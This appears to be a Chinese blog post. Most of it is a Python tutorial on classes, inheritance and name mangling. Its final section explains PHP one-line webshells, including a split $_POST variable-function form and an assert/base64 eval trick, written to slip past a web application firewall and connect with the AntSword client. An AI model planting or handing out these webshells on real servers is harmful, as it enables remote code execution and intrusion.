类把数据与功能绑定在一起。创建新类就是创建新的对象 类型,从而创建该类型的新 实例 。类实例支持维持自身状态的属性,还支持(由类定义的)修改自身状态的方法。
最简单的类的定义如下

class ClassName:<statement-1>...<statement-N>

与函数定义 (def 语句) 一样,类定义必须先执行才能生效。

Class对象

类对象支持两种操作,属性引用和实例化。
属性引用使用Python中所有属性引用的标准语法:obj.name。有效的属性名称时类对象被创建时存在于类命名空间中的所有名称。如:

class MyClass:"""A simple example class"""i = 12345def f(self):return 'hello world'

那么 MyClass.iMyClass.f 就是有效的属性引用,将分别返回一个整数和一个函数对象。 类属性也可以被赋值,因此可以通过赋值来更改 MyClass.i 的值。 doc 也是一个有效的属性,将返回所属类的文档字符串: "A simple example class"
类的 实例化 使用函数表示法。 可以把类对象视为是返回该类的一个新实例的不带参数的函数。 举例来说(假设使用上述的类):

x = MyClass()

创建类的新 实例 并将此对象分配给局部变量 x
实例化操作(“调用”类对象)会创建一个空对象。 许多类喜欢创建带有特定初始状态的自定义实例。 为此类定义可能包含一个名为 __init__() 的特殊方法,就像这样:

def __init__(self):self.data = []

当一个类定义了一个_init_()方法时,类实例化会自动为新创建的类实例调用_init()_。因此可以通过以下方式获得新的初始化实例:

x = MyClass()

当然,__init__() 方法还可以有额外参数以实现更高灵活性。 在这种情况下,提供给类实例化运算符的参数将被传递给 __init__()。 例如,:

>>> class Complex:
...     def __init__(self, realpart, imagpart):
...         self.r = realpart
...         self.i = imagpart
...
>>> x = Complex(3.0, -4.5)
>>> x.r, x.i
(3.0, -4.5)

实例对象

实例对象所能理解的唯一操作是属性引用。 有两种有效的属性名称:数据属性和方法。
数据属性不需要声明;像局部变量一样,它们将在第一次被赋值时产生。 例如,如果 x 是上面创建的 MyClass 的实例,则以下代码段将打印数值 16,且不保留任何追踪信息:

x.counter = 1
while x.counter < 10:x.counter = x.counter * 2
print(x.counter)
del x.counter

另一类实例属性引用称为 方法。 方法是“从属于”对象的函数。
实例对象的有效方法名称依赖于其所属的类。 根据定义,一个类中所有是函数对象的属性都是定义了其实例的相应方法。 因此在我们的示例中,x.f 是有效的方法引用,因为 MyClass.f 是一个函数,而 x.i 不是方法,因为 MyClass.i 不是函数。 但是 x.fMyClass.f 并不是一回事 — 它是一个 方法对象,不是函数对象。

方法对象

通常,方法在绑定后立即被调用:

x.f()

在 MyClass 示例中,这将返回字符串 'hello world'。 但是,立即调用一个方法并不是必须的: x.f 是一个方法对象,它可以被保存起来以后再调用。 例如:

xf = x.f
while True:print(xf())

将持续打印 hello world,直到结束。

类和实例变量

一般来说,实例变量用于每个实例的唯一数据,而类变量用于类的所有实例共享的属性和方法:

class Dog:kind = 'canine'         # 所有实例共享的类变量def __init__(self, name):self.name = name    # 每个实例唯一的实例变量>>> d = Dog('Fido')
>>> e = Dog('Buddy')
>>> d.kind                  # 共享给所有Dog
'canine'
>>> e.kind                  # 共享给所有Dog
'canine'
>>> d.name                  # d独有
'Fido'
>>> e.name                  # e独有
'Buddy'

正如 名称和对象 中已讨论过的,共享数据可能在涉及 mutable 对象例如列表和字典的时候导致令人惊讶的结果。 例如以下代码中的 tricks 列表不应该被用作类变量,因为所有的 Dog 实例将只共享一个单独的列表:

class Dog:tricks = []             # 类变量的错误使用def __init__(self, name):self.name = namedef add_trick(self, trick):self.tricks.append(trick)>>> d = Dog('Fido')
>>> e = Dog('Buddy')
>>> d.add_trick('roll over')
>>> e.add_trick('play dead')
>>> d.tricks                # 意外地被所有Dog共享
['roll over', 'play dead']

正确的类设计应该使用实例变量:

class Dog:def __init__(self, name):self.name = nameself.tricks = []    # 为每只Dog创建一个新的空列表def add_trick(self, trick):self.tricks.append(trick)>>> d = Dog('Fido')
>>> e = Dog('Buddy')
>>> d.add_trick('roll over')
>>> e.add_trick('play dead')
>>> d.tricks
['roll over']
>>> e.tricks
['play dead']

继承

当然,如果不支持继承,语言特性就不值得称为“类”。派生类定义的语法如下所示:

class DerivedClassName(BaseClassName):<statement-1>...<statement-N>

名称 BaseClassName 必须定义于包含派生类定义的作用域中。 也允许用其他任意表达式代替基类名称所在的位置。 这有时也可能会用得上,例如,当基类定义在另一个模块中的时候:

class DerivedClassName(modname.BaseClassName):

派生类定义的执行过程与基类相同。 当构造类对象时,基类会被记住。 此信息将被用来解析属性引用:如果请求的属性在类中找不到,搜索将转往基类中进行查找。 如果基类本身也派生自其他某个类,则此规则将被递归地应用。

派生类的实例化没有任何特殊之处: DerivedClassName() 会创建该类的一个新实例。 方法引用将按以下方式解析:搜索相应的类属性,如有必要将按基类继承链逐步向下查找,如果产生了一个函数对象则方法引用就生效。

派生类可能会重写其基类的方法。 因为方法在调用同一对象的其他方法时没有特殊权限,所以调用同一基类中定义的另一方法的基类方法最终可能会调用覆盖它的派生类的方法。

在派生类中的重载方法实际上可能想要扩展而非简单地替换同名的基类方法。 有一种方式可以简单地直接调用基类方法:即调用 BaseClassName.methodname(self, arguments)。 有时这对客户端来说也是有用的。
Python有两个内置函数可被用于继承机制:

使用 isinstance() 来检查一个实例的类型: isinstance(obj, int) 仅会在 obj.__class__ 为 int 或某个派生自 int 的类时为 True

使用 issubclass() 来检查类的继承关系: issubclass(bool, int)True,因为 bool 是 int 的子类。 但是,issubclass(float, int)False,因为 float 不是 int 的子类。

多重继承

Python 也支持一种多重继承。 带有多个基类的类定义语句如下所示:

class DerivedClassName(Base1, Base2, Base3):<statement-1>...<statement-N>

对于多数应用来说,在最简单的情况下,你可以认为搜索从父类所继承属性的操作是深度优先、从左至右的,当层次结构中存在重叠时不会在同一个类中搜索两次。 因此,如果某一属性在 DerivedClassName 中未找到,则会到 Base1 中搜索它,然后(递归地)到 Base1 的基类中搜索,如果在那里未找到,再到 Base2 中搜索,依此类推。

真实情况比这个更复杂一些;方法解析顺序会动态改变以支持对 super() 的协同调用。 这种方式在某些其他多重继承型语言中被称为后续方法调用,它比单继承型语言中的 super 调用更强大。

动态改变顺序是有必要的,因为所有多重继承的情况都会显示出一个或更多的菱形关联(即至少有一个父类可通过多条路径被最底层类所访问)。 例如,所有类都是继承自 object,因此任何多重继承的情况都提供了一条以上的路径可以通向 object。 为了确保基类不会被访问一次以上,动态算法会用一种特殊方式将搜索顺序线性化, 保留每个类所指定的从左至右的顺序,只调用每个父类一次,并且保持单调(即一个类可以被子类化而不影响其父类的优先顺序)

私有变量

那种仅限从一个对象内部访问的“私有”实例变量在 Python 中并不存在。 但是,大多数 Python 代码都遵循这样一个约定:带有一个下划线的名称 (例如 _spam) 应该被当作是 API 的非公有部分 (无论它是函数、方法或是数据成员)。 这应当被视为一个实现细节,可能不经通知即加以改变。

由于存在对于类私有成员的有效使用场景(例如避免名称与子类所定义的名称相冲突),因此存在对此种机制的有限支持,称为 名称改写。 任何形式为 __spam 的标识符(至少带有两个前缀下划线,至多一个后缀下划线)的文本将被替换为 _classname__spam,其中 classname 为去除了前缀下划线的当前类名称。 这种改写不考虑标识符的句法位置,只要它出现在类定义内部就会进行。

名称改写有助于让子类重载方法而不破坏类内方法调用。例如:

class Mapping:def __init__(self, iterable):self.items_list = []self.__update(iterable)def update(self, iterable):for item in iterable:self.items_list.append(item)__update = update   # private copy of original update() methodclass MappingSubclass(Mapping):def update(self, keys, values):# provides new signature for update()# but does not break __init__()for item in zip(keys, values):self.items_list.append(item)

上面的示例即使在 MappingSubclass 引入了一个 __update 标识符的情况下也不会出错,因为它会在 Mapping 类中被替换为 _Mapping__update 而在 MappingSubclass 类中被替换为 _MappingSubclass__update

请注意,改写规则的设计主要是为了避免意外冲突;访问或修改被视为私有的变量仍然是可能的。这在特殊情况下甚至会很有用,例如在调试器中。

请注意传递给 exec() 或 eval() 的代码不会将发起调用类的类名视作当前类;这类似于 global 语句的效果,因此这种效果仅限于同时经过字节码编译的代码。 同样的限制也适用于 getattr(), setattr() 和 delattr(),以及对于 __dict__ 的直接引用。

关于更多可以去官方文档里去看看https://docs.python.org/zh-cn/3/tutorial/index.html

assert和eval成功失败的复现

当我们要去绕过一个wef的时候,我们写一个不含数字字母的代码在正常情况下这就显得太长了,会被检测出来,所以我们要用去减少长度,这时候就可以用一句话木马,但又不能让别人轻易发现,例如<?php @eval($_POST['2']); ?> 就很显眼,所以我们使用拼接的方式来合成代码,<?php $_POST['1']($_POST['2']); ?> 这就出现了一个问题,我们在使用中国蚁剑的时候发现第一个是可以使用的:


但是我们使用第二种拼接的时候就发现无法使用:



首先很多人认为可以这样执行 eval($_POST[2]),但是这样会利用失败
因为eval是一个语言构造器而不是一个函数,不能被可变函数调用。

PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。可变函数可以用来实现包括回调函数,函数表在内的一些用途。

可变函数不能用于例如 echo,print,unset(),isset(),empty(),include,require 以及类似的语言结构。需要使用自己的包装函数来将这些结构用作可变函数。

这么看来eval其实并不能算是‘函数’,而是PHP自身的语言结构,如果需要用‘可变’的方式调用,需要自己构造,类似这样子的:

<?php
function eval_1($str)
{eval($str);
}$a='eval_1';
$a('phpinfo()');
?>

所以现在要成功连接的话,我们的做法就是让eval里边时字符,而assert中是函数或者表达式,

assert(eval(‘echo 1;’));//类似这样

中国蚁剑中有base64编码格式,所以我们可以尝试用编码来对代码进行修改让它成为我们需要的样子,也就是

1=assert
2=eval(base64())
//运行后就是
assert(eval(base64_decode))

那我们的密码就该是1=assert&2

这样就连接上了

python的类,复现assert和eval成功失败原因相关推荐

  1. 基于EasyExcel的读取exl并返回成功/失败数量及原因,并将导入失败exl的导出到系统路径中

    首先,这个是读取和导出exl都需要用到的实体类的基类,这个是可以扩展的,读取失败的exl想要加入其它列的字段都可以加在这里 pom <dependency><groupId>c ...

  2. Python元类详解

    文章目录 Python元类详解 Python谜团 元类的本质 调用一个类时发生了什么 再探元类 自定义元类 彩蛋:跳过python解释器 Python元类详解 元类比99%的用户所担心的魔法要更深,如 ...

  3. Python虚拟机类机制之descriptor(三)

    从slot到descriptor 在Python虚拟机类机制之填充tp_dict(二)这一章的末尾,我们介绍了slot,slot包含了很多关于一个操作的信息,但是很可惜,在tp_dict中,与__ge ...

  4. Python动态类和动态方法的创建和调用

    借助于python的动态语言特性,很容易对对象进行添加方法或者属性,这也是python的灵活之一. 动态生成类的属性及其方法 在某些情况可能要根据不同的参数来动态生成不同的实例方法.静态方法.类方法. ...

  5. Python 中的可执行对象 eval,exec 和 compile与其在深度学习训练中的应用实例

    Python 中的可执行对象 eval,exec 和 compile 与其在深度学习训练中的应用实例 eval 计算指定表达式的值.也就是说它要执行的python代码只能是单个表达式(注意eval不支 ...

  6. python元类_Python基础:元类

    一.概述 Python虽然是多范式的编程语言,但它的数据模型却是 纯面向对象 的.与那些仅在语法层面声称纯OO的编程语言(如Java)相比,Python的这种纯粹性更加深入骨髓. 在Python的世界 ...

  7. Python的类和对象的介绍,定义类和对象,定义实例方法和属性以及Python中的魔法方法

    Day09新手小白学python 第九节 Python的类和对象的介绍,定义类和对象,定义实例方法和属性以及Python中的魔法方法 目录 Day09新手小白学python 前言 一.面向对象介绍 二 ...

  8. python类的mod_PY08-06:Python的类扩展

    实际C++的类是很难直接导出为Python的类,这缘于C++在编译的时候有一个过程就是修饰命名.但是在C中导出Python还是可以的,这个就是Python提供的C接口来实现(CPython).这个主题 ...

  9. 关于python创建类的深入理解

    背景 我们知道在python中一切皆为对象的概念,那我们们来看一段程序 class Foo(object):def __init__(self, name):self.name = namef = F ...

  10. python定义类()中写object和不写的区别

    python定义类()中写object和不写的区别 这里需要说明一下: python3中,类定义默认继承object,所以写不写没有区别 但在python2中,并不是这样 所以此内容是针对python ...

最新文章

  1. 树链剖分+线段树 HDOJ 4897 Little Devil I(小恶魔)
  2. Oracle二三事之 12c 可插拔数据库PDB
  3. Redis系列(七):缓存只是读写回种这么简单吗?如果是,那么请你一定看看这篇文章!...
  4. RecyclerView缓存机制(回收些啥?)
  5. 为啥开发的文档能力是核心竞争力之一
  6. VTK修炼之道11:基本数据结构_数据对象数据集
  7. fabric canvas 清空并重置画布
  8. Qt自定义对话框中边框阴影实现
  9. 史上最全java架构师技能图谱(上)
  10. 【UML】对象图Object diagram(转)
  11. java mdpi_如何使用drawable兼容所有屏幕尺寸(idpi,mdpi,hdpi,xhdpi,xxhdpi)
  12. 创建第一个Scrapy项目
  13. [Python] L1-003. 个位数统计-PAT团体程序设计天梯赛GPLT
  14. 大数据技术全解之数据能力是核心竞争力
  15. VC++控件加载BMP图片(静态和动态方式)
  16. PPT封面怎样设计才更赏心悦目
  17. jdk11安装及网盘下载地址
  18. python安卓开发视频_python开发安卓App实战项目:西瓜视频解析工具
  19. 深度学习入门笔记(十九):卷积神经网络(二)
  20. arcgis desktop和arcgis engin连接postgresql数据库连接需要的类库

热门文章

  1. hash冲突(碰撞)及解决方法
  2. iozone - 性能压力测试工具
  3. RadASM资源链接错误RC2104及找不到resource.h解决方案
  4. 将Solidworks Toolbox中的标准件更改为普通零件
  5. 台式计算机可以连接蓝牙吗,台式电脑可以连接蓝牙音响吗
  6. 开源:通用的日志分析工具(LogViewer)
  7. win10共享文件夹设置,本地组策略配置全攻略
  8. 一.mtk平台的gpio控制
  9. 全志F1C100S声卡驱动探究
  10. Python 字符串 循环